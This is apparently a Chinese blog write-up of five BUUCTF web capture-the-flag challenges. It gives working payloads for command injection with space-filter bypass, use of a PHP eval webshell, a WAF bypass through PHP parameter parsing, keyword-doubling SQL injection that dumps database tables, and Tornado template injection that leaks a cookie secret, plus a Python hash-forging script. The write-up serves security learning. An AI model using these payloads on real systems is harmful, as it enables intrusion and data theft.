Web学习之路(BUUCTF刷题之旅3)

目录

一、[GXYCTF2019]Ping Ping Ping

二、[极客大挑战 2019]Knife

三、[RoarCTF 2019]Easy Calc

四、[极客大挑战 2019]BabySQL

五、[护网杯 2018]easy_tornado


[GXYCTF2019]Ping Ping Ping

进入目标靶机里,非常简洁明了,只有一个以GET方式传参的提示,那我们随便传一个ip。

/?ip=1;ls看一下都有什么。发现了"flag.php"文件,flag应该就在这里。

/?ip=1;cat flag.php

发现行不通,应该是空格被过滤掉了,要想办法绕过。

这里我使用$IFS$1绕过空格。

但由于我不知道他到底过滤了多少东西,这里我决定先看"index.php"文件。

和我的猜想一样,"index.php"的源代码里,我们看到了被过滤掉的标点,空格,bash,flag的贪婪匹配等等。

但这里我们看到了$a,考虑进行变量拼接。

 于是构造Payload为:?ip=1;a=g;cat$IFS$1fla$a.php

在源代码里找到了flag。

 PS:读了其他师傅的wp后,才发现这道题不止一种做法,有一种最强的使用了内联也就是``

大家可以多试试,这里我就不一一列举了。

[极客大挑战 2019]Knife

hint给的非常明显,"菜刀"。

eval($_POST["Syc"])这一段是作为后门用post提交一个字符串Syc。

这就没什么好说的了,上菜刀!!!!!!

 额,垃圾菜刀,换蚁剑。

在根目录下拿到flag。

[RoarCTF 2019]Easy Calc

查看页面源代码,发现是一个简单的计算器

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>简单的计算器</title>
  
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="./libs/bootstrap.min.css">
  <script src="./libs/jquery-3.3.1.min.js"></script>
  <script src="./libs/bootstrap.min.js"></script>
</head>
<body>

<div class="container text-center" style="margin-top:30px;">
  <h2>表达式</h2>
  <form id="calc">
    <div class="form-group">
      <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
    </div>
    <div id="result"><div class="alert alert-success">
            </div></div>
    <button type="submit" class="btn btn-primary">计算</button>
  </form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

</body></html>

通过分析源代码可知存在WAF,还有一个新的页面"calc.php",访问一下。

通过分析代码看到了被过滤的字符,结合上述,是WAF无疑,我们要想一下怎么绕过WAF。

 这里我们利用PHP的字符串解析特性就能够进行绕过WAF。

构造? num=phpinfo()

由于 / 被过滤掉了,我们选择使用chr(47)代替,进行目录读取。

构造?%20num=var_dump(scandir(chr(47)))

看到了"flagg",接下来读取flag。构造Payload为:

http://node4.buuoj.cn:25311/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

拿到flag。

[极客大挑战 2019] BabySQL

看到了SQL注入试一下万能密码 1'or'1'='1

发现不行,判断是 or 被过滤掉了。

下面继续测试发现select,union等都被过滤掉了。

这里用 || 来替换or,构造Payload为:

check.php?username=admin&password=1'+||+1%3D'1

 可以看到登陆成功,下面我们开始SQL注入。被过滤的select和union我们可以双写来代替。

先看字段。

Payload:?username=-1' uniunionon seselectlect 1,2,3 %23 &password=1' || 1='1

成功回显。继续爆库名。

Payload:?username=-1' uniunionon seselectlect 1,2,database() %23 &password=1' || 1='1

数据库名为"geek"。

再看一下其他库名。

Payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_schema) frfromom infoorrmation_schema.tables %23 &password=1' || 1='1

看到爆出了很多库名,发现了一个叫"ctf" 的库,我们查看一下。

爆表名。

Payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23 &password=1' || 1='1

看一下表的列名,Payload:?username=-1' uniunionon seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf' aandnd table_name='Flag'%23 &password=1' || 1='1

 

基本可以确定flag就在这,构造Payload:

?username=-1' uniunionon seselectlect 1,2,flag frfromom ctf.Flag %23 &password=1' || 1='1

拿到flag。

 [护网杯 2018]easy_tornado

有三个文件我们分别看一下。

 看到flag在/fllllllllllllag目录下。

 "hints.txt"里给出了filehash的计算公式。

 在这里我们看到本题应该是模板注入。

 结合题目我们查看一下Tornado是什么东西,发现是一个Web框架。

然后找到了官方的文档,通过阅读发现,我们这道题应该是报错注入,即:

/error?msg={ {***} }

参数不同模板不同。

先试一下,发现ORZ,应该是被过滤掉了。

结合"hints.txt"的内容来看,我们应该是要去拿到cookie_secret的值。

在Tornado框架中,存在一些可以访问的快速对象。

这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings。

所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

因此我们构造Payload为:

error?msg={{handler.settings}}

拿到cookie_secret的值,接下来根据公式进行计算,可以手动MD5,这里使用脚本。

个人觉得python3好用一点。

import hashlib

hash = hashlib.md5()

filename='/fllllllllllllag'

cookie_secret="d3fa70da-363e-431a-9d08-d52edddce026"

hash.update(filename.encode('utf-8'))

s1=hash.hexdigest()

hash = hashlib.md5()

hash.update((cookie_secret+s1).encode('utf-8'))

print(hash.hexdigest())

 拿到MD5加密后的结果:9bd16f26fc937589f9df1ed6ece4ad1d

构造Payload为:

file?filename=/fllllllllllllag&filehash=9bd16f26fc937589f9df1ed6ece4ad1d

拿到flag。

 其实是一道简单题,了解了框架内部的环境变量即可。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI仿生道士

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值